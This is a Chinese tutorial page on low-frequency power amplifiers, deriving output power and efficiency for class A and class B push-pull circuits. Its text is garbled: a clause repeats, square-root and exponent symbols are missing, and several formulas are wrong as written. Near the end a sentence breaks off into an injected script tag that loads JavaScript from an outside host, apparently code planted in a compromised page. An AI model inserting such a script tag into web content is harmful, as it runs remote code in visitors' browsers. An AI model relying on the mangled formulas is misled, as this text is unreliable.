低频功率放大器

功率放大是一种能量转换的电路,在输入信号的作用下,晶体管把直流电源的能量,转换的电路,在输入信号的作用下,晶体管把直流电源的能量,转换成随输入信号变化的输出功率送给负载,对功率放大要求如下:

(1)输出功率要大:要增加放大器的输出功率,必须使晶体管运行在极限的工作区域附近,由icm、ucm和pcm决定见图一。

图一

(2)效率η要高:放大器的效率η定义为:η=交流输出功率/直流输入功率

(3)非线性失真在允许范围内:由于功率放大器在大信号下工作,所以非线性失真是难免的,问题是要把失真控制在允许范围内,

功率放大器按工作状态和电路形式可分成以下几种:

(1)甲类功率放大器:在整个信号周期内,存在集电极电流;

(2)乙类功率放大器:只有半个信号周期内,存在集电极电流,按电路形式它又可分为:

1)双端推挽电路(depp)

2)单端推挽电路(sepp)

3)平衡无变压器电路(btl)

在实际中,为了克服交越失真,推挽式昌体管电路是工作于甲、乙类状态的。

一、甲类功率放大器

图一是甲类功率放大器,负载rl通过阻抗变换器b变成集电极负载rl=nrlo对直流来说,变压器b初级直流电阻和re均很小,所以直流负载线接近一条垂直线见图一(b)为使放大器输出较大功率,可使交流负载线处于a点和b点位置:a点的uce=ucm,而工作点q处于ab直线中点,通常晶体管的饱和压降和穿透电流都很小,实际上可以认为icmin=0和ucemin=0o 因此,供给负载的电流和电压振幅分别为:

icm=icm/2, ucem=ucm/2 ------------------------------------------------式1

负载的交流功率(或放大器输出功率)为:

pl=(ucem/)×(icm/)=(icm/)×(ucm/)=(1/8)icm×ucm-------式2

工作点q的集电极电流icq和电压uceq分别为:

icq=icm/2, uceq=ec=ucm/2---------------------------------------------式3

所以,直流电源的输入功率:

pd=icq×uceq=(icm/2)×(ucm/2)=1/4icmucm-------------------------------式4

甲类功率放大器的效率为:

η=pl/pd=50%---------------------------------------------------------式5

可见:(1)晶体管的最大集射电压为电源电压ec的两倍。

(2)晶体管静态时耗功率为输出功率的两倍。

(3)甲类放大器的效率最高只有50%。

二、乙类推挽电路

图2(a)为乙类推挽电路,由于输出端使用变压器,因而晶体管对地有两个输出端,设电路完全对称,当输入信号us为正半波时,bg1截止、bg2导通,输出电压ul为负半波,因此,两管轮流导通,一推一挽地工作,故称为推挽电路。

由于两管轮流地工作,所以把两管的输出特性按相反方向叠在一起,两管的交流负载线正好连成直线ab,工作点q处于直线ab的中点,如图2(b)所示,从图中可看出各电量的关系:

(1)如输出变压器的初级和次级绕组的匝数比为n,则每只晶体管的负载电阻rl为:

rl=(n/2)rl=(n/4)rl--------------------------------------------式6

而集电极与集电极之间的电阻rcc为

rcc=nrl=4rl-----------------------------------------------------式7

(2)变压器b2的初级绕组端电压振幅为:

ucem=uceq≈ec----------------------------------------------------式8

初级绕组电流振幅为:

icm=icm----------------------------------------------------------式9

所以输送到初级绕组的功率为:

ps=(ucem/)×(icm/)=(1/2)ecicm------------------------------式10

(3)通过每只晶体管的电流平均值为:

ico=icm/π-------------------------------------------------------式11

由直流电源供给的功率为

pd=(2ico)ec=2×(icm/π)×ec--------------------------------------式12

(4)推挽电路的效率为:

η=(ps/pd)100%={(1/2×ec×icm)/[2×(icm/π)×ec]}100%≈78.5%-----式13

设计推挽电路时要注意:

(1)为避免交越失真,晶体管应具有一定的偏置电流,但不要过大,否则使电?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计